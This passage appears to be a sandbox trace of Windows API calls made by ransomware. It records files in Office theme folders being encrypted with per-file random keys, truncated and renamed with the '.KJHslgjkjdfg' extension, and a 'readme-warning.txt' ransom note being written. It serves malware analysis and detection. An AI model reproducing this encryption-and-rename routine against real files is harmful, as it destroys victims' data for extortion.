[0189.012] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.012] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.012] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.012] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.012] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4c45, lpOverlapped=0x0) returned 1 [0189.013] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c50) returned 1 [0189.014] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.014] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4c50, lpOverlapped=0x0) returned 1 [0189.014] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.014] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.014] SetEndOfFile (hFile=0x12c) returned 1 [0189.017] GetProcessHeap () returned 0x2ef0000 [0189.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.017] GetProcessHeap () returned 0x2ef0000 [0189.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.023] CloseHandle (hObject=0x12c) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0189.023] GetProcessHeap () returned 0x2ef0000 [0189.023] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.023] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.023] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.024] GetProcessHeap () returned 0x2ef0000 [0189.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.024] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.024] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.024] GetProcessHeap () returned 0x2ef0000 [0189.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.024] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.024] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.024] GetProcessHeap () returned 0x2ef0000 [0189.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.024] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.024] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.024] GetProcessHeap () returned 0x2ef0000 [0189.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.024] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.024] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.025] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.025] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.025] RegCloseKey (hKey=0x12c) returned 0x0 [0189.025] GetProcessHeap () returned 0x2ef0000 [0189.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.025] GetProcessHeap () returned 0x2ef0000 [0189.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.025] GetProcessHeap () returned 0x2ef0000 [0189.025] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.025] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.025] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.025] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.025] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.025] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.026] GetProcessHeap () returned 0x2ef0000 [0189.026] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.026] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.026] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.026] GetProcessHeap () returned 0x2ef0000 [0189.026] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.026] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt") returned 81 [0189.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.026] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.028] CloseHandle (hObject=0x12c) returned 1 [0189.028] GetProcessHeap () returned 0x2ef0000 [0189.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.028] GetProcessHeap () returned 0x2ef0000 [0189.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.028] GetProcessHeap () returned 0x2ef0000 [0189.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.028] GetProcessHeap () returned 0x2ef0000 [0189.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.028] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.029] GetProcessHeap () returned 0x2ef0000 [0189.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0189.029] GetProcessHeap () returned 0x2ef0000 [0189.029] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0189.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.030] GetProcessHeap () returned 0x2ef0000 [0189.030] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0189.031] GetProcessHeap () returned 0x2ef0000 [0189.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f10788 [0189.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.031] GetProcessHeap () returned 0x2ef0000 [0189.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.031] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.031] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.031] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0189.034] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.034] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.034] GetProcessHeap () returned 0x2ef0000 [0189.034] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.034] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.034] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.034] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.034] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.034] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.034] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.035] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.035] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.035] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.035] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.035] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.035] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6c9, lpOverlapped=0x0) returned 1 [0189.035] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6d0) returned 1 [0189.035] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.035] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6d0, lpOverlapped=0x0) returned 1 [0189.035] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.035] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.035] SetEndOfFile (hFile=0x12c) returned 1 [0189.037] GetProcessHeap () returned 0x2ef0000 [0189.037] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.037] GetProcessHeap () returned 0x2ef0000 [0189.037] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.kjhslgjkjdfg")) returned 1 [0189.040] CloseHandle (hObject=0x12c) returned 1 [0189.040] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0189.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.040] GetProcessHeap () returned 0x2ef0000 [0189.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.040] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.040] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.040] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0189.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.042] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.042] GetProcessHeap () returned 0x2ef0000 [0189.042] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.042] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.042] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.042] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.043] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.043] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.043] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.043] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe232, lpOverlapped=0x0) returned 1 [0189.045] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe240, dwBufLen=0xe240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe240) returned 1 [0189.045] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.046] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe240, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe240, lpOverlapped=0x0) returned 1 [0189.046] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.046] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.046] SetEndOfFile (hFile=0x12c) returned 1 [0189.049] GetProcessHeap () returned 0x2ef0000 [0189.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.049] GetProcessHeap () returned 0x2ef0000 [0189.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.kjhslgjkjdfg")) returned 1 [0189.059] CloseHandle (hObject=0x12c) returned 1 [0189.063] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, 